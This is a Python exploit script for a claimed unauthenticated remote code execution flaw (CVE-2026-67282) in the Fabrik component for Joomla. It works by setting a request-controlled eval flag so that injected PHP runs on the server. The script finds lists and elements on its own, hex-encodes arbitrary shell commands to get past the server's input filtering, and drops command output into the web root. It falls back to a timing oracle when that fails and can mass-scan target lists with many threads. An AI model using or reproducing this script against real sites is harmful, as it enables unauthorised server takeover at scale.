...[ More ]

#!/usr/bin/env python3
    """
    CVE-2026-67282 - Fabrik (Joomla component) unauthenticated remote code execution
    Affected: Fabrik 1.0.0 up to (not including) 4.6.8, on Joomla
    Type: RCE (PHP code injection, CWE-94)
    
    Root cause: a frontend list can be filtered from the query string. For every GET
    parameter that names a list element, Fabrik reads a per-filter `eval` flag straight
    out of the request. When that flag is 1 the filter value is passed to PHP's eval(),
    so an unauthenticated attacker supplies both the flag and arbitrary PHP:
    
        /index.php?option=com_fabrik&view=list&listid=<N>
            &<table>___<element>[eval]=1
            &<table>___<element>[value]=<php>
    
    The injected code runs silently (there is no output channel in the list response),
    so this exploit makes the eval write the output of a shell command to a random file
    in the Joomla document root and then reads that file back over HTTP. The returned
    file content is the only trustworthy success oracle: the raw payload text can be
    reflected back onto the list page without ever having executed, so reflection is
    deliberately not used to decide success.
    
    Payload constraints (from the transformations between $_GET and eval): the value is
    url-decoded a second time server-side, a literal backslash is stripped, and {...}
    runs are treated as placeholders and removed. This exploit sidesteps all of that by
    hex-encoding the command and rebuilding it with hex2bin(), so the payload contains
    no braces, no backslashes, no percent signs and no plus signs.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 80
      python exploit.py --host https://target.com --command "uname -a"
      python exploit.py --host http://10.0.0.5:8080/joomla --listid 1 --element demo_items___label
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import secrets
    import sys
    import time
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        print("This exploit requires the 'requests' library: pip install requests", file=sys.stderr)
        sys.exit(2)
    
    import re
    
    CVE_ID    = "CVE-2026-67282"
    VULN_TYPE = "RCE"
    
    # Triple-underscore Fabrik element token: <db_table>___<element>. Exclude the
    # internal 'fabrik___heading' token and the '..._raw' shadow columns.
    TOKEN_RE = re.compile(r"\b([a-zA-Z][a-zA-Z0-9_]*___[a-zA-Z][a-zA-Z0-9_]*)\b")
    
    DEFAULT_TIMEOUT = 20
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
        """Build the site base URL, keeping any sub-path Joomla is installed under."""
        scheme = "https" if use_tls else "http"
        default_port = 443 if use_tls else 80
        netloc = host if port == default_port else f"{host}:{port}"
        path = path or "/"
        if not path.startswith("/"):
            path = "/" + path
        # Strip a trailing index.php or trailing slash so we can append cleanly.
        path = re.sub(r"/index\.php/?$", "/", path)
        if not path.endswith("/"):
            path = path + "/"
        return f"{scheme}://{netloc}{path}"
    
    
    def _find_element(html: str):
        """Pull a usable <table>___<element> token out of a rendered list page."""
        tokens = []
        for m in TOKEN_RE.finditer(html):
            tok = m.group(1)
            if tok.endswith("_raw"):
                continue
            if tok.startswith("fabrik___"):
                continue
            if tok not in tokens:
                tokens.append(tok)
        return tokens[0] if tokens else None
    
    
    def _discover(session, base: str, listid_opt, element_opt):
        """
        Locate a published Fabrik list and one of its element names.
        Returns (listid:int, element:str) or None if nothing usable is found.
        """
        if listid_opt is not None:
            candidates = [int(listid_opt)]
        else:
            candidates = list(range(1, 31))
    
        for lid in candidates:
            url = base + "index.php"
            params = {"option": "com_fabrik", "view": "list", "listid": str(lid)}
            try:
                r = session.get(url, params=params, timeout=DEFAULT_TIMEOUT, verify=False)
            except requests.RequestException:
                continue
            if r.status_code != 200:
                continue
            elem = element_opt or _find_element(r.text)
            if elem:
                return lid, elem
        return None
    
    
    def _build_payload(command: str, fname: str) -> str:
        """
        PHP that writes the command's stdout into `fname` in the current working
        directory (the Joomla document root). Brace-free, backslash-free, and free of
        any literal % or + so a single url-encode survives the server's double decode.
        hex2bin() rebuilds the command from hex so arbitrary shells/quotes are safe.
        """
        hexcmd = command.encode("utf-8", "surrogateescape").hex()
        return "return file_put_contents('%s', shell_exec(hex2bin('%s')));" % (fname, hexcmd)
    
    
    def _inject(session, base: str, listid: int, element: str, payload: str):
        url = base + "index.php"
        params = {
            "option": "com_fabrik",
            "view": "list",
            "listid": str(listid),
            "%s[eval]" % element: "1",
            "%s[value]" % element: payload,
        }
        return session.get(url, params=params, timeout=DEFAULT_TIMEOUT, verify=False)
    
    
    def _fetch_proof(session, base: str, fname: str):
        return session.get(base + fname, timeout=DEFAULT_TIMEOUT, verify=False)
    
    
    def _timing_probe(session, base: str, listid: int, element: str, delay_us: int) -> float:
        """Return the elapsed time of an eval'd usleep() request, for the timing oracle."""
        payload = "return usleep(%d);" % delay_us
        t0 = time.time()
        _inject(session, base, listid, element, payload)
        return time.time() - t0
    
    
    def _try_exploit(host: str, port: int, use_tls: bool = False, path: str = "/",
                     command: str = "id", listid=None, element=None):
        """
        Silent probe for --list scan mode. Returns (success, evidence).
        Never prints, never exits.
        """
        base = _base_url(host, port, use_tls, path)
        session = requests.Session()
        session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0",
        })
        try:
            found = _discover(session, base, listid, element)
            if not found:
                return False, "no Fabrik list found"
            lid, elem = found
    
            marker = secrets.token_hex(8)
            fname = "p_%s.txt" % marker
            payload = _build_payload(command, fname)
    
            _inject(session, base, lid, elem, payload)
            r = _fetch_proof(session, base, fname)
            if r.status_code == 200 and r.text.strip():
                first = r.text.strip().splitlines()[0]
                return True, "RCE via listid=%d elem=%s: %s" % (lid, elem, first)
    
            # File drop failed (root not writable / removed): fall back to a timing oracle.
            base_ms = _timing_probe(session, base, lid, elem, 0) * 1000
            slow_ms = _timing_probe(session, base, lid, elem, 3000000) * 1000
            if slow_ms - base_ms > 2500:
                return True, ("blind RCE (timing) listid=%d elem=%s: baseline %.0fms -> +usleep %.0fms"
                              % (lid, elem, base_ms, slow_ms))
            return False, "payload accepted but no execution evidence (patched?)"
        except requests.RequestException as e:
            return False, "unreachable (%s)" % e.__class__.__name__
        finally:
            session.close()
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             command: str = "id", listid=None, element=None) -> None:
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}{path if path != '/' else ''}"
            ok, evidence = _try_exploit(host, port, use_tls, path, command, listid, element)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
                listid=None, element=None) -> None:
        header(host, port)
        base = _base_url(host, port, use_tls, path)
    
        session = requests.Session()
        session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0",
        })
    
        step(1, "Locating a published Fabrik list and an element name...")
        found = _discover(session, base, listid, element)
        if not found:
            section("DISCOVERY", "No Fabrik list view returned a list-element token in the "
                                 "range tried. Provide --listid and --element explicitly.")
            done(False, "no reachable Fabrik list found on target")
        lid, elem = found
        section("TARGET LIST", "listid=%d\nelement=%s\nurl=%sindex.php?option=com_fabrik&view=list&listid=%d"
                % (lid, elem, base, lid))
    
        marker = secrets.token_hex(8)
        fname = "p_%s.txt" % marker
        payload = _build_payload(command, fname)
    
        step(2, "Sending unauthenticated GET with request-controlled eval flag...")
        section("INJECTED PAYLOAD (PHP)", payload)
        r = _inject(session, base, lid, elem, payload)
        section("LIST RESPONSE", "HTTP %d (%d bytes) - the list renders normally; code execution is silent"
                % (r.status_code, len(r.content)))
    
        step(3, "Reading the command output back over HTTP (out-of-band proof)...")
        proof = _fetch_proof(session, base, fname)
        if proof.status_code == 200 and proof.text.strip():
            section("COMMAND OUTPUT (%s)" % command, proof.text)
            first = proof.text.strip().splitlines()[0]
            done(True, "RCE confirmed - command '%s' output: %s" % (command, first.strip()))
    
        # File-drop channel closed off (document root not writable, or file removed).
        # Fall back to a blind timing oracle to still prove code execution.
        step(4, "File channel unavailable (HTTP %d) - falling back to a blind timing oracle..." % proof.status_code)
        base_ms = _timing_probe(session, base, lid, elem, 0) * 1000
        slow_ms = _timing_probe(session, base, lid, elem, 3000000) * 1000
        section("TIMING ORACLE", "baseline eval: %.0f ms\neval with usleep(3s): %.0f ms\ndelta: %.0f ms"
                % (base_ms, slow_ms, slow_ms - base_ms))
        if slow_ms - base_ms > 2500:
            done(True, "blind RCE confirmed via timing - injected usleep(3s) added %.0f ms" % (slow_ms - base_ms))
    
        section("SERVER RESPONSE", "proof file HTTP %d; timing delta %.0f ms (< 2500 ms threshold)"
                % (proof.status_code, slow_ms - base_ms))
        done(False, "payload accepted but no execution evidence - target may be patched")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC (Fabrik unauthenticated RCE)")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/joomla)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port",    type=int, default=80,  help="Default port (default: 80)")
        parser.add_argument("--command", default="id",          help="Shell command to execute (default: id)")
        parser.add_argument("--listid",  default=None,          help="Fabrik list id (default: auto-discover 1..30)")
        parser.add_argument("--element", default=None,          help="Element full name <table>___<name> (default: auto-scrape)")
        parser.add_argument("--workers", type=int, default=10,  help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 command=args.command, listid=args.listid, element=args.element)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.command, args.listid, args.element)